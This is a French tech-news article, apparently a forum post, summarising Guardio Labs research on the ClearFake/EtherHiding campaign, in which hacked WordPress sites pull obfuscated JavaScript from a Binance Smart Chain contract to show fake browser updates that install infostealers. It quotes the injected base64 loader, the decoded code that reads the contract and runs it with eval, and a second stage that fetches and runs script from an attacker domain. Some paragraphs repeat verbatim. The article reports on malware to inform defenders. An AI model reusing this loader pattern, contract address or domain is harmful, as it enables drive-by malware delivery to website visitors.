L’une des plus anciennes astuces de malware (des sites Web piratés prétendant que les visiteurs doivent mettre à jour leur navigateur Web avant de pouvoir afficher un contenu) a repris vie au cours des derniers mois. De nouvelles recherches montrent que les attaquants à l'origine d'un tel système ont développé un moyen ingénieux d'empêcher leurs logiciels malveillants d'être supprimés par des experts en sécurité ou par les forces de l'ordre : en hébergeant les fichiers malveillants sur une blockchain de crypto-monnaie décentralisée et pseudo-anonyme.
En août 2023, le chercheur en sécurité Randy McEoin a écrit sur une arnaque qu'il a surnommée ClearFake, qui utilise des sites WordPress piratés pour proposer aux visiteurs une page prétendant que vous devez mettre à jour votre navigateur avant de pouvoir afficher le contenu.
Les fausses alertes de navigateur sont spécifiques au navigateur que vous utilisez. Ainsi, si vous surfez sur le Web avec Chrome, par exemple, vous recevrez une invite de mise à jour de Chrome. Ceux qui sont trompés en cliquant sur le bouton de mise à jour verront un fichier malveillant déposé sur leur système qui tente d'installer un cheval de Troie volant des informations.
Selon une étude menée par Guardio Labs, une unité de recherche de la société de sécurité Guardio, les escrocs ont mis en place une campagne baptisée EtherHiding, qui consiste à injecter du code Javascript malveillant dans des sites web compromis, généralement des sites WordPress. Ce code va ensuite interroger le réseau BSC en créant un contrat intelligent avec une adresse blockchain contrôlée par les attaquants. Ce contrat va renvoyer une charge utile malveillante et obfusquée, qui va à son tour contacter un serveur de commande et de contrôle (C2) pour afficher aux visiteurs des sites infectés une fausse alerte leur demandant de mettre à jour leur navigateur. Si la victime clique sur le bouton de mise à jour, elle est redirigée vers le téléchargement d’un exécutable malveillant hébergé sur Dropbox ou d’autres services légitimes de partage de fichiers.
Le logiciel malveillant ainsi téléchargé peut être un chargeur (loader) qui va installer d’autres programmes malveillants plus sophistiqués, tels que des voleurs d’informations (stealers), des chevaux de Troie ou des logiciels espions. Parmi les logiciels malveillants observés dans cette campagne, on trouve Amadey, Lumma, RedLine, DanaBot, Raccoon, Remcos, SystemBC ou Vidar.
Au cours des deux derniers mois environ, nous avons été confrontés à une nouvelle campagne de propagation de logiciels malveillants par « fausses mises à jour ». Dans le flux d'attaque, un site est dégradé avec une superposition très crédible exigeant une mise à jour du navigateur avant de pouvoir accéder au site. La fausse « mise à jour » s’avère être un malware voleur d’informations vicieux comme RedLine, Amadey ou Lumma.
Cette campagne, baptisée « ClearFake », identifiée par Randy McEoin, commence son attaque sur des sites WordPress compromis où les attaquants intègrent un code JS dissimulé. Ce code initial « tête de pont » est injecté dans les pages d’articles et récupère une charge utile de deuxième étape auprès d’un serveur contrôlé par les attaquants, qui effectue ensuite le reste du site.
Grâce à cette méthode, l’attaquant peut modifier à distance et instantanément le processus d’infection et afficher le message de son choix. Il peut changer de tactique, mettre à jour les domaines bloqués et désactiver les charges utiles détectées sans réaccéder aux sites WordPress. Dans le cas de « ClearFake », le code de la deuxième étape était hébergé sur Cloudflare Workers. Cela a été efficace jusqu'à ce que CloudFlare bloque ces comptes, interrompant potentiellement l'ensemble de la campagne.
Pourtant, dans cette évolution de « ClearFake », nous constatons que les acteurs malveillant ont introduit une nouvelle méthode d’hébergement de code malveillant de manière anonyme et sans aucune limitation : un véritable hébergement « Bullet Proof » facilité par la Blockchain.
Cette campagne, baptisée « ClearFake », identifiée par Randy McEoin, commence son attaque sur des sites WordPress compromis où les attaquants intègrent un code JS dissimulé. Ce code initial « tête de pont » est injecté dans les pages d’articles et récupère une charge utile de deuxième étape auprès d’un serveur contrôlé par les attaquants, qui effectue ensuite le reste du site.
Grâce à cette méthode, l’attaquant peut modifier à distance et instantanément le processus d’infection et afficher le message de son choix. Il peut changer de tactique, mettre à jour les domaines bloqués et désactiver les charges utiles détectées sans réaccéder aux sites WordPress. Dans le cas de « ClearFake », le code de la deuxième étape était hébergé sur Cloudflare Workers. Cela a été efficace jusqu'à ce que CloudFlare bloque ces comptes, interrompant potentiellement l'ensemble de la campagne.
Pourtant, dans cette évolution de « ClearFake », nous constatons que les acteurs malveillant ont introduit une nouvelle méthode d’hébergement de code malveillant de manière anonyme et sans aucune limitation : un véritable hébergement « Bullet Proof » facilité par la Blockchain.
Le nouveau processus d'infection, à première vue, est le même qu'auparavant : il utilise les mêmes domaines et adresses IP, mais dès la première entrée du site WordPress compromis, nous voyons un nouveau trafic réseau inconnu dirigé vers des serveurs contrôlés par Binance. Qu’est-ce que Binance, l’une des plus grandes bourses de crypto-monnaie au monde, a à voir avec tout cela ? Les chercheurs ont commencé par examiner la nouvelle variante du code de première étape :
Code : | Sélectionner tout |
1 2 3 4 | <script src="https://cdn.ethers.io/lib/ethers-5.2.umd.min.js" type="application/javascript"></script> <script src="data:text/javascript;base64,YXN5bmMgZnVuY3Rpb24gbG9hZCgpe2xldCBwcm92aWRlcj1uZXcgZXRoZXJz LnByb3ZpZGVycy5Kc29uUnBjUHJvdmlkZXIoImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5iaW5hbmNlLm9yZy8iKSxzaWduZXI9cHJvd [......]b2FkOw=="></script> |
Le code ci-dessus est simplement obscurci en Base64, ce qui se traduit par l'exécution de ce qui suit sur chaque page chargée à partir du site compromis :
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | // include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js> async function load() { let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"), signer = provider.getSigner(), address = "0x7f36D9292e7c70A204faCC2d255475A861487c60", ABI = [ { inputs: [{ internalType: "string", .......}, { inputs: [], name: "get", ......}, { inputs: [], name: "link", ....... }, ], contract = new ethers.Contract(address, ABI, provider), link = await contract.get(); eval(atob(link)); } window.onload = load; |
BSC, ou Binance Smart Chain, lancée il y a trois ans, est la réponse de Binance à Ethereum, conçue pour exécuter plus efficacement des applications décentralisées et des « contrats intelligents ». Alors qu'Ethereum est une blockchain publique dotée de capacités de crypto-monnaie et de contrats, BSC appartient à Binance et se concentre sur les contrats : des accords codés qui exécutent automatiquement des actions lorsque certaines conditions sont remplies. Ces contrats offrent des moyens innovants de créer des applications et des processus. En raison de la nature publique et immuable de la blockchain, le code peut être hébergé « en chaîne » sans possibilité de retrait.
C’est ce que nous voyons ici dans cette attaque : le code malveillant est hébergé et servi d’une manière qui ne peut pas être bloqué. Contrairement à son hébergement sur un service Cloudflare Worker, comme cela était atténué sur la variante précédente. Il s’agit véritablement d’une arme à double tranchant dans le domaine de la technologie décentralisée.
Analyse du contrat intelligent malveillant
Les chercheurs indiquent qu'ils ne peuvent pas voir le code réel utilisé pour compiler ce contrat, mais ils ont accès à son bytecode (décentralisé et transparent après tout). Une fois décompilé, voici sa fonctionnalité simple en action :
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | def storage: stor0 is array of struct at storage 0 def update(string _newName) payable: require calldata.size - 4 >= 32 require _newName <= -1 require _newName + 35 < calldata.size if _newName.length > -1: revert with 'NH{q', 65 require _newName + _newName.length + 36 <= calldata.size if bool(stor0.length): if bool(stor0.length) == stor0.length.field_1 < 32: revert with 'NH{q', 34 if _newName.length: stor0[].field_0 = Array(len=_newName.length, data=_newName[all]) else: {...} def get() payable: if bool(stor0.length): if bool(stor0.length) == stor0.length.field_1 < 32: revert with 'NH{q', 34 {..} if stor0.length.field_1: if 31 < stor0.length.field_1: mem[128] = uint256(stor0.field_0) idx = 128 s = 0 while stor0.length.field_1 + 96 > idx: mem[idx + 32] = stor0[s].field_256 idx = idx + 32 s = s + 1 continue return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)]) mem[128] = 256 * stor0.length.field_8 else: {...} return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), def unknown1c4695f4() payable: {...} |
Il s'agit d'une application de contrat simple qui utilise la fonction de stockage du contrat (la variable de tableau stor0). La méthode update() enregistre l'entrée dans ce stockage — octet par octet et la méthode get() lit le stockage et renvoie sa valeur sous forme de chaîne. De cette façon, en interagissant avec le contrat, les données peuvent être écrites ou mises à jour sur la chaîne.
Nous pouvons le voir dans l’historique des transactions sur le BSC, à partir de la création du contrat le 9 septembre 2023 par une autre adresse contrôlée par un attaquant. Cette autre adresse, créée fin juin 2022, a été chargée en BNB (The Binance Coin) d'un montant juste suffisant pour créer et mettre à jour le contrat – des activités qui ne sont pas réellement payables, mais qui coûtent quelques frais de « gaz » habituels mineurs (entre 0,02 à 0,60 USD chacune) :
Nous pouvons le voir dans l’historique des transactions sur le BSC, à partir de la création du contrat le 9 septembre 2023 par une autre adresse contrôlée par un attaquant. Cette autre adresse, créée fin juin 2022, a été chargée en BNB (The Binance Coin) d'un montant juste suffisant pour créer et mettre à jour le contrat – des activités qui ne sont pas réellement payables, mais qui coûtent quelques frais de « gaz » habituels mineurs (entre 0,02 à 0,60 USD chacune) :
Seule la première mise à jour du contrat est clairement un test (puisqu’elle ne comprenait en réalité que la chaîne « test »), mais toutes les suivantes sont des morceaux évidents de code JavaScript. Lorsque les premières entrées sont assez simples, ces dernières ajoutent davantage de techniques d'obscurcissement JavaScript mais continuent à faire les mêmes quelques activités simples que celles vues dans cette première entrée (après décodage depuis Base64) :
Code : | Sélectionner tout |
1 2 3 4 5 | const get_k_script = () => { let e = new XMLHttpRequest(); return e.open("GET", "https://921hapudyqwdvy[.]com/vvmd54/", !1), e.send(null), e.responseText; }; eval(get_k_script()); |
Il s'agit exactement du même code que nous avons vu sur les variantes précédentes de ClearFake (tel que renvoyé par le service CloudFlare), seul le domaine de deuxième étape est modifié presque quotidiennement - cela montre à quel point il est facile de mettre à jour l'ensemble de la chaîne d'attaque avec une simple transaction blockchain.
Nous constatons que chaque fois que leur domaine est « brûlé », une mise à jour de la chaîne est publiée pour échanger le code malveillant et les domaines affiliés – au moins 30 domaines malveillants et ce n’est pas fini.
Nous constatons que chaque fois que leur domaine est « brûlé », une mise à jour de la chaîne est publiée pour échanger le code malveillant et les domaines affiliés – au moins 30 domaines malveillants et ce n’est pas fini.
L’avantage pour les escrocs d’utiliser le réseau BSC est qu’il s’agit d’un service décentralisé, anonyme et public, qui ne peut pas être censuré ou supprimé. En effet, le code hébergé sur la blockchain est immuable et accessible à tous. De plus, l’interrogation du contrat intelligent est une opération gratuite, qui était initialement conçue pour déboguer les problèmes d’exécution des contrats sans impact réel. Ainsi, les escrocs disposent d’un moyen gratuit, discret et robuste pour diffuser leur logiciel malveillant sans laisser de traces.
Face à cette menace, Binance a déclaré être conscient du problème et avoir pris des mesures pour y remédier. La société a indiqué avoir mis sur liste noire toutes les adresses associées à la propagation du logiciel malveillant et avoir développé un modèle pour détecter les futurs contrats intelligents qui utilisent des méthodes similaires pour héberger des scripts malveillants.
Les experts en sécurité recommandent aux utilisateurs de se méfier des alertes de mise à jour suspectes et de vérifier la source et la légitimité des fichiers qu’ils téléchargent. Ils conseillent également d’utiliser un logiciel antivirus à jour et de sauvegarder régulièrement leurs données.
Source : Guardio Labs
Et vous ?
Que pensez-vous de l’utilisation du réseau BSC par les escrocs pour héberger leur logiciel malveillant? Est-ce une preuve de l’ingéniosité des hackers ou de la vulnérabilité des technologies décentralisées?
Que pensez-vous des mesures que Binance a prises pour contrer cette menace? Sont-elles suffisantes ou faut-il renforcer la sécurité du réseau BSC?
Quels sont les risques pour les utilisateurs de cryptomonnaies qui visitent des sites web infectés par cette campagne? Comment peuvent-ils se protéger efficacement contre ce type d’attaque?